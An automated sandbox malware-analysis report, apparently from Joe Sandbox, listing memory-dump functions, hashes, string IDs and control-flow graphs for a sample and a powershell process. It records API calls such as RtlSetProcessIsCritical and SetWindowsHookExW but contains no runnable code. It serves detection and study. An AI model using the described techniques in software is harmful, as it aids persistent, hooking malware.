                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 8
                                                            • API String ID: 0-4194326291
                                                            • Opcode ID: 735bee6400980c77f840bba17199bcf11d3333b859f47b441ba640c29088313d
                                                            • Instruction ID: 49831057113dd28dc426bd8bc4580913b2e53f4a57a7dfb0608a6f37da5a9e77
                                                            • Opcode Fuzzy Hash: 735bee6400980c77f840bba17199bcf11d3333b859f47b441ba640c29088313d
                                                            • Instruction Fuzzy Hash: 8B51E070D02269DFEB64CF5AD844BE9BBF6AB89300F54C4EAD409B7250E7340A85CF10
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03094308 Relevance: .2, Instructions: 210COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5411a79033101c142ba296fb29737e1b10eb9268740014c294611d0aeaa35753
                                                            • Instruction ID: 2aa82e00571755c09bd23561c351906b10c0b7d6ffd8320bac2a17e77ff3f522
                                                            • Opcode Fuzzy Hash: 5411a79033101c142ba296fb29737e1b10eb9268740014c294611d0aeaa35753
                                                            • Instruction Fuzzy Hash: 59912574E02208CFEB54CFAAD584BADBBF2FF89304F14846AD019A7255DB395986CF04
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03094318 Relevance: .2, Instructions: 208COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 35ca9829b1b81bae645b0b1a0f932446200b9351a3de0d9163e35da85626f034
                                                            • Instruction ID: fb9a70b0d8017456cfec04e87e21b4dc19f183c168db247b7a7de742b3dd0e6b
                                                            • Opcode Fuzzy Hash: 35ca9829b1b81bae645b0b1a0f932446200b9351a3de0d9163e35da85626f034
                                                            • Instruction Fuzzy Hash: 6F812570E02208CFEB54CFAAD584BADBBF6FF89304F50846AD019A7255DB395886CF04
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0309458B Relevance: .2, Instructions: 199COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 637bd941c523aa92dc3a10031b91a59a029542e8578814d51afff1fcf3e994a7
                                                            • Instruction ID: 83a4392a661bf2f00ea2029803aae3f3ba14cd06908fa63ecbfeb0a6c91c646f
                                                            • Opcode Fuzzy Hash: 637bd941c523aa92dc3a10031b91a59a029542e8578814d51afff1fcf3e994a7
                                                            • Instruction Fuzzy Hash: 1B81F574E02218CFEB54CFAAD584BADB7F2FF49300F54846AD009A7655DB399882DF04
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED2C71 Relevance: .2, Instructions: 188COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 71e503f779ab4be2382a4c63a5dbbd61f1a28690c0cc0bccfcf9efc6918d557d
                                                            • Instruction ID: d3c9137ad0dfefc378de7fdc5f08e356893393bc6b49af2ff6b37ee7a73fa33e
                                                            • Opcode Fuzzy Hash: 71e503f779ab4be2382a4c63a5dbbd61f1a28690c0cc0bccfcf9efc6918d557d
                                                            • Instruction Fuzzy Hash: B4614C32F105258FD754DB69C884B5EB3E3AFC8714F1AC165E80A9B366DA35EC028B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02ED1EB1 Relevance: .1, Instructions: 110COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991126043.0000000002ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02ED0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_2ed0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 459c80b7fbb7f2035b2f44a77839d66c85495412d0069860c1911b4a02e52178
                                                            • Instruction ID: c398879380f11b5e6251a60cc25bde19319d179072b4931cbcd4091054258167
                                                            • Opcode Fuzzy Hash: 459c80b7fbb7f2035b2f44a77839d66c85495412d0069860c1911b4a02e52178
                                                            • Instruction Fuzzy Hash: 14412579E9421A8FDF20CFA9E580AADB7F1BF08305F11F616E016EB245DB359841CB40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03098158 Relevance: .1, Instructions: 101COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3e2bcbca3726b6536eed65a06820dfc42bab083f9a8fb84ea9b2902565bdad64
                                                            • Instruction ID: e17514580b0733801338bd2ee5e021a05d607fcd1305978017cf27a714d73c25
                                                            • Opcode Fuzzy Hash: 3e2bcbca3726b6536eed65a06820dfc42bab083f9a8fb84ea9b2902565bdad64
                                                            • Instruction Fuzzy Hash: 89411770E06218CFEB24CF6AD94479DBBF6BB8A310F14C5AAC409A7351DB355A85DF10
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03094028 Relevance: .1, Instructions: 97COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 79eb0f89d888cde1092bd22dd63ce5a0c921afefcf8052c5806941a80400df67
                                                            • Instruction ID: 90fd71c320bb0637b020068fd04692d5ae674ecd9dc588b9fb6774d32523388e
                                                            • Opcode Fuzzy Hash: 79eb0f89d888cde1092bd22dd63ce5a0c921afefcf8052c5806941a80400df67
                                                            • Instruction Fuzzy Hash: 6941DEB5D05259DFCB10CFAAD484AEEFBF0AB49310F14942AE455B7250C738AA86CF64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03094030 Relevance: .1, Instructions: 95COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1991266874.0000000003090000.00000040.00000800.00020000.00000000.sdmp, Offset: 03090000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_3090000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a5f010fff5da4d84f851f9c994a01eaca4e2dfcf52661ea911081e461d3b2bb4
                                                            • Instruction ID: 71cd595e50221b9d803672915efc4da11c0f1fee8bf0ab919c0161188e5cdd83
                                                            • Opcode Fuzzy Hash: a5f010fff5da4d84f851f9c994a01eaca4e2dfcf52661ea911081e461d3b2bb4
                                                            • Instruction Fuzzy Hash: C241EEB5D05258DFCF10CFAAD484AEEFBF0AB49310F14942AE455B7250C738AA85CFA4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 06F60007 Relevance: .1, Instructions: 85COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.2004211092.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_6f60000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4439846097f1a10d2c6496fc56f0be99c8ad5316f20ff21600b40b963a33fda5
                                                            • Instruction ID: ef167fd2714184a7f2c55d8e466753e304a04bd2d487b2fe36a012fb23a6cc73
                                                            • Opcode Fuzzy Hash: 4439846097f1a10d2c6496fc56f0be99c8ad5316f20ff21600b40b963a33fda5
                                                            • Instruction Fuzzy Hash: 44315E71D057558FE71ACF2A884469ABFF6AFCA210F04C1EAD448AA156DB740A85CF10
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Execution Graph

                                                            Execution Coverage:8.6%
                                                            Dynamic/Decrypted Code Coverage:100%
                                                            Signature Coverage:0%
                                                            Total number of Nodes:18
                                                            Total number of Limit Nodes:1
                                                            execution_graph 14482 2cbb7e8 14483 2cbb82e 14482->14483 14487 2cbb9c8 14483->14487 14490 2cbb9b8 14483->14490 14484 2cbb91b 14495 2cbb500 14487->14495 14491 2cbb992 14490->14491 14492 2cbb9c2 14490->14492 14491->14484 14493 2cbb500 DuplicateHandle 14492->14493 14494 2cbb9f6 14493->14494 14494->14484 14496 2cbba30 DuplicateHandle 14495->14496 14498 2cbb9f6 14496->14498 14498->14484 14499 2cb6108 14500 2cb614c RtlSetProcessIsCritical 14499->14500 14501 2cb61a9 14500->14501 14502 2cb6530 14505 2cb6574 SetWindowsHookExW 14502->14505 14504 2cb65ba 14505->14504

                                                            Executed Functions

                                                            Function 02CB6100 Relevance: 1.6, APIs: 1, Instructions: 69COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1313 2cb6100-2cb6144 1315 2cb614c-2cb61a7 RtlSetProcessIsCritical 1313->1315 1316 2cb61a9 1315->1316 1317 2cb61ae-2cb61d6 1315->1317 1316->1317
                                                            APIs
                                                            • RtlSetProcessIsCritical.NTDLL(?,?), ref: 02CB619A
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2895442459.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2cb0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID: CriticalProcess
                                                            • String ID:
                                                            • API String ID: 2695349919-0
                                                            • Opcode ID: 3d86fd6de54a38d6330907477658ca073620c7b2bc0d131ee2fe197f539f2f75
                                                            • Instruction ID: f2d90cae213c6352ee90e4ed2bb927919ed4f9c97864252d3994d0116d9aca50
                                                            • Opcode Fuzzy Hash: 3d86fd6de54a38d6330907477658ca073620c7b2bc0d131ee2fe197f539f2f75
                                                            • Instruction Fuzzy Hash: 23216DB2C01259CFDB10CF99D480BEEBBF4EF59310F14846AD495A3251D338AA44CF61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CB6108 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1319 2cb6108-2cb61a7 RtlSetProcessIsCritical 1321 2cb61a9 1319->1321 1322 2cb61ae-2cb61d6 1319->1322 1321->1322
                                                            APIs
                                                            • RtlSetProcessIsCritical.NTDLL(?,?), ref: 02CB619A
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2895442459.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2cb0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID: CriticalProcess
                                                            • String ID:
                                                            • API String ID: 2695349919-0
                                                            • Opcode ID: cd0300b76d740e4c41baa63daefdab2accee59fa042cb9767656a2df2c550c0d
                                                            • Instruction ID: 42ae549d0eec0f6c1eb9b7e2699e687cf4d3fac3c5a54adb8ccea7b354fd3497
                                                            • Opcode Fuzzy Hash: cd0300b76d740e4c41baa63daefdab2accee59fa042cb9767656a2df2c550c0d
                                                            • Instruction Fuzzy Hash: 7F216AB2D01259CFDB10CF9AD880BEEBBF4AF49310F14806AE455A3291C338AA44CF75
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CBB500 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1324 2cbb500-2cbbac4 DuplicateHandle 1327 2cbbacd-2cbbaea 1324->1327 1328 2cbbac6-2cbbacc 1324->1328 1328->1327
                                                            APIs
                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02CBB9F6,?,?,?,?,?), ref: 02CBBAB7
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2895442459.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2cb0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID: DuplicateHandle
                                                            • String ID:
                                                            • API String ID: 3793708945-0
                                                            • Opcode ID: bd52dcc2269dd17b2c435960a0ca63bf7d527e3b86848e0a68c09a993cf265e0
                                                            • Instruction ID: 30ad75d6b165a58e2f911f062726951befd1cac081561af47c75cf7ec60b1118
                                                            • Opcode Fuzzy Hash: bd52dcc2269dd17b2c435960a0ca63bf7d527e3b86848e0a68c09a993cf265e0
                                                            • Instruction Fuzzy Hash: 1821D2B5900218AFDB10CF9AD984ADEBBF8EF49324F14841AE954A7351D374A944CFA4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CBBA28 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1331 2cbba28-2cbba2d 1332 2cbba2f-2cbba69 1331->1332 1333 2cbba6c-2cbbac4 DuplicateHandle 1331->1333 1332->1333 1334 2cbbacd-2cbbaea 1333->1334 1335 2cbbac6-2cbbacc 1333->1335 1335->1334
                                                            APIs
                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02CBB9F6,?,?,?,?,?), ref: 02CBBAB7
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2895442459.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2cb0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID: DuplicateHandle
                                                            • String ID:
                                                            • API String ID: 3793708945-0
                                                            • Opcode ID: 6c6398e005d01632b3294971a090fc471754b433515e6a431a61dfe0fc88cfbc
                                                            • Instruction ID: 2315dac4e71b36bea3c393c4385bac1876914aef431ab2390e8852e19231e56e
                                                            • Opcode Fuzzy Hash: 6c6398e005d01632b3294971a090fc471754b433515e6a431a61dfe0fc88cfbc
                                                            • Instruction Fuzzy Hash: D121D2B5D00208AFDB10CFAAD984ADEBFF8EF49314F14801AE954A3251D374A954CFA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CB6528 Relevance: 1.6, APIs: 1, Instructions: 60COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1339 2cb6528-2cb657a 1341 2cb657c-2cb6584 1339->1341 1342 2cb6586-2cb65b8 SetWindowsHookExW 1339->1342 1341->1342 1343 2cb65ba-2cb65c0 1342->1343 1344 2cb65c1-2cb65e6 1342->1344 1343->1344
                                                            APIs
                                                            • SetWindowsHookExW.USER32(?,00000000,?,?), ref: 02CB65AB
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2895442459.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2cb0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID: HookWindows
                                                            • String ID:
                                                            • API String ID: 2559412058-0
                                                            • Opcode ID: 52de03f807eb3b63e3abeefc807383265bd43af27b5a2d4e114ea0e6979b8d00
                                                            • Instruction ID: 1222570b86202457fd8a051852038895c8dde7ece2a804dd3fb595c83d9ce2ba
                                                            • Opcode Fuzzy Hash: 52de03f807eb3b63e3abeefc807383265bd43af27b5a2d4e114ea0e6979b8d00
                                                            • Instruction Fuzzy Hash: 2A2134B29002099FCB14DFA9D944BEEFBF4AF88314F24842AD459A7250C775AA44CFA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CB6530 Relevance: 1.6, APIs: 1, Instructions: 58COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • SetWindowsHookExW.USER32(?,00000000,?,?), ref: 02CB65AB
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2895442459.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2cb0000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID: HookWindows
                                                            • String ID:
                                                            • API String ID: 2559412058-0
                                                            • Opcode ID: 7fa23a66c33d35fb3a3b9398c64fa401a2a2f122352ab085a2d9217191253b6c
                                                            • Instruction ID: 7f7017445c06189866452ec973f0402230d9b1adfa1476b2062b37703b58e9fc
                                                            • Opcode Fuzzy Hash: 7fa23a66c33d35fb3a3b9398c64fa401a2a2f122352ab085a2d9217191253b6c
                                                            • Instruction Fuzzy Hash: EA2124B1D002098FCB14DFAAD944BEEFBF5EF88324F20842AD459A7250C774A944CFA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02B2D2B4 Relevance: .1, Instructions: 72COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2894336800.0000000002B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B2D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2b2d000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c4b95642eec08569c8b09b0c66afd1db9f0bfd18229570a3f05892b3e819f9db
                                                            • Instruction ID: 9636cdd0cf0d02e46c939eb7b7fe795aab2e905d7f3997b32cf3c453cd79d3f0
                                                            • Opcode Fuzzy Hash: c4b95642eec08569c8b09b0c66afd1db9f0bfd18229570a3f05892b3e819f9db
                                                            • Instruction Fuzzy Hash: 4621F675604305DFDB04DF14D6C4B26BBA5FB88314F24C9ADE84D4B256C33AD84ACAA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02B2D0EC Relevance: .1, Instructions: 72COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2894336800.0000000002B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B2D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2b2d000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 31a3a188b2e25bec11cde9a5bf46f1f5ee8e87ccb38fdce1e4e3a9bcc57728b3
                                                            • Instruction ID: a3c4724b5aa6a346021007befa73fe47a309efd41711796e906f6bcd814e0b67
                                                            • Opcode Fuzzy Hash: 31a3a188b2e25bec11cde9a5bf46f1f5ee8e87ccb38fdce1e4e3a9bcc57728b3
                                                            • Instruction Fuzzy Hash: F0210771544321DFDB04DF14D9C0B16BB65FB88315F20C5ADD80D4B696C336D48ACAA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02B2D1D4 Relevance: .1, Instructions: 71COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2894336800.0000000002B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B2D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2b2d000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ec1c77cc70a218efa0e176cbe6cb5d1b7f5b147b80ac9ed5a9e3637d60da04a9
                                                            • Instruction ID: 23d918fa7ffbc5f666e4d26bf60dc13f9845ebf86f501d96bb872d8c98b606f6
                                                            • Opcode Fuzzy Hash: ec1c77cc70a218efa0e176cbe6cb5d1b7f5b147b80ac9ed5a9e3637d60da04a9
                                                            • Instruction Fuzzy Hash: 0D21D471604351DFDB14DF14DAC4B2ABFA5FB88314F20C6ADE94E4B255C336D84ACA61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02B2D0E7 Relevance: .1, Instructions: 53COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2894336800.0000000002B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B2D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2b2d000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                            • Instruction ID: 2b7ddfd5ae3c0d13b0d8aac48a2a55f080ec9079e280f53408e1df39cf449313
                                                            • Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                            • Instruction Fuzzy Hash: 73118B75504380DFDB05CF14D9C4B15BBA2FB88218F24C6AAD84D4B696C33AD44ACBA2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02B2D2AF Relevance: .1, Instructions: 53COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2894336800.0000000002B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B2D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2b2d000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                            • Instruction ID: 4354ea4b3f2a382133660e16286cc17d3e329a066095477f998cb3aefa4a69cc
                                                            • Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
                                                            • Instruction Fuzzy Hash: 1E119D75504780DFDB05CF14D6C4B15BFA1FB88318F28C6AAD84D4B656C33AD44ACBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02B2D1CF Relevance: .1, Instructions: 52COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000004.00000002.2894336800.0000000002B2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B2D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_4_2_2b2d000_SecuriteInfo.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e676ac0fa395c9d78ad1373b251d500d35a058fc48d93c8ca3093ca1b2890539
                                                            • Instruction ID: 832207c2984aa056ad2def59087c44318498dff6edebe97bc5d4eafaf9a2b3b3
                                                            • Opcode Fuzzy Hash: e676ac0fa395c9d78ad1373b251d500d35a058fc48d93c8ca3093ca1b2890539
                                                            • Instruction Fuzzy Hash: 0B119D75504381CFDB15CF14D5C4B15BFA1FB88218F24C6ADD84D4B656C33AD44ACB51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Execution Graph

                                                            Execution Coverage:6.6%
                                                            Dynamic/Decrypted Code Coverage:0%
                                                            Signature Coverage:0%
                                                            Total number of Nodes:3
                                                            Total number of Limit Nodes:0
                                                            execution_graph 20601 83c7160 20602 83c71a3 SetThreadToken 20601->20602 20603 83c71d1 20602->20603

                                                            Executed Functions

                                                            Function 0464B490 Relevance: 2.8, Strings: 2, Instructions: 252COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 413 464b490-464b4a9 414 464b4ae-464b7f5 call 464acbc 413->414 415 464b4ab 413->415 415->414
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: {YGn^$YGn^
                                                            • API String ID: 0-3264884122
                                                            • Opcode ID: 656ba2e3323c16cdeda6b6033120b7b53f232969ac0e2779603087d1e43b1b08
                                                            • Instruction ID: 62015d99d83b88f72dc0bc6f83de6f9eae1d96fb05ca08358e3a9d4e187d1bda
                                                            • Opcode Fuzzy Hash: 656ba2e3323c16cdeda6b6033120b7b53f232969ac0e2779603087d1e43b1b08
                                                            • Instruction Fuzzy Hash: 0E9174B1F006546BEB59EFB4C414AAEB7A3DFC4704B00891DD51AAB740EF74AD068BC6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 074C2308 Relevance: 24.5, Strings: 19, Instructions: 769COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$4'^q$4'^q$pi1k$pi1k$pi1k$pi1k$pi1k$|,3k$#Yk$Jjl$Jjl$Jjl$Jjl$Jjl$Jjl$ril$ril
                                                            • API String ID: 0-1818329165
                                                            • Opcode ID: 2ba1ccceb56850b278ee3f0b919fdca62559bac7fb369afc1d2c56d2d1def79e
                                                            • Instruction ID: c3d6207a8b160ec049e576b2fe95df7e5bfaf448dd137776a6c872dd0f8be004
                                                            • Opcode Fuzzy Hash: 2ba1ccceb56850b278ee3f0b919fdca62559bac7fb369afc1d2c56d2d1def79e
                                                            • Instruction Fuzzy Hash: AB4224B9B002069FDB65DF6888416FBBBA5BF86210F04847FD5058B391DBF1C946C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 074C3CE8 Relevance: 5.6, Strings: 4, Instructions: 592COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 242 74c3ce8-74c3d0d 243 74c3f00-74c3f4a 242->243 244 74c3d13-74c3d18 242->244 252 74c40ce-74c4112 243->252 253 74c3f50-74c3f55 243->253 245 74c3d1a-74c3d20 244->245 246 74c3d30-74c3d34 244->246 248 74c3d24-74c3d2e 245->248 249 74c3d22 245->249 250 74c3d3a-74c3d3c 246->250 251 74c3eb0-74c3eba 246->251 248->246 249->246 256 74c3d4c 250->256 257 74c3d3e-74c3d4a 250->257 254 74c3ebc-74c3ec5 251->254 255 74c3ec8-74c3ece 251->255 271 74c4228-74c425d 252->271 272 74c4118-74c411d 252->272 259 74c3f6d-74c3f71 253->259 260 74c3f57-74c3f5d 253->260 261 74c3ed4-74c3ee0 255->261 262 74c3ed0-74c3ed2 255->262 258 74c3d4e-74c3d50 256->258 257->258 258->251 264 74c3d56-74c3d75 258->264 269 74c3f77-74c3f79 259->269 270 74c4080-74c408a 259->270 265 74c3f5f 260->265 266 74c3f61-74c3f6b 260->266 268 74c3ee2-74c3efd 261->268 262->268 306 74c3d85 264->306 307 74c3d77-74c3d83 264->307 265->259 266->259 274 74c3f89 269->274 275 74c3f7b-74c3f87 269->275 276 74c408c-74c4094 270->276 277 74c4097-74c409d 270->277 300 74c425f-74c4281 271->300 301 74c428b-74c4295 271->301 280 74c411f-74c4125 272->280 281 74c4135-74c4139 272->281 282 74c3f8b-74c3f8d 274->282 275->282 283 74c409f-74c40a1 277->283 284 74c40a3-74c40af 277->284 286 74c4129-74c4133 280->286 287 74c4127 280->287 290 74c413f-74c4141 281->290 291 74c41da-74c41e4 281->291 282->270 288 74c3f93-74c3fb2 282->288 289 74c40b1-74c40cb 283->289 284->289 286->281 287->281 325 74c3fb4-74c3fc0 288->325 326 74c3fc2 288->326 298 74c4151 290->298 299 74c4143-74c414f 290->299 293 74c41e6-74c41ee 291->293 294 